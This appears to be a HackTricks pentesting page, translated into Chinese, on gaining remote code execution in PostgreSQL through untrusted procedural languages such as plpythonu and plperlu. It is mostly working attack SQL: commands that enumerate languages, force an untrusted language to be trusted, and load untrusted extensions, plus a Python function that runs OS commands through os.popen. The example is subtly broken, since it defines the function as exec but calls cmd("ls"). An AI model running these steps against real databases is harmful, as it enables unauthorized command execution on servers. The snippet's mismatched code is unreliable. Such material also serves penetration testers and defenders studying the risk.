RCE with PostgreSQL Languages

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

PostgreSQL Languages

您获得访问权限的 PostgreSQL 数据库可能安装了不同的 脚本语言,您可以利用这些语言来 执行任意代码

您可以 让它们运行

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

大多数可以在 PostgreSQL 中安装的脚本语言有 2 种类型受信任的不受信任的不受信任的 语言名称 以 "u" 结尾,并且是允许你 执行代码 和使用其他有趣功能的版本。如果安装了这些语言,它们会很有趣:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ...(任何其他使用不安全版本的编程语言)

warning

如果你发现一个有趣的语言是 已安装 但被 PostgreSQL 标记为不受信任lanpltrustedfalse),你可以尝试用以下语句 信任它,这样 PostgreSQL 就不会施加任何限制:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# 检查你对表 pg_language 的权限
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

如果你没有看到某个语言,你可以尝试加载它(你需要是超级管理员):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

请注意,可以将安全版本编译为“不安全”。例如,查看 this。因此,即使你只发现安装了 受信任的 版本,尝试执行代码也是值得的。

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

查看以下页面:

PL/pgSQL Password Bruteforce

C

查看以下页面:

RCE with PostgreSQL Extensions

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks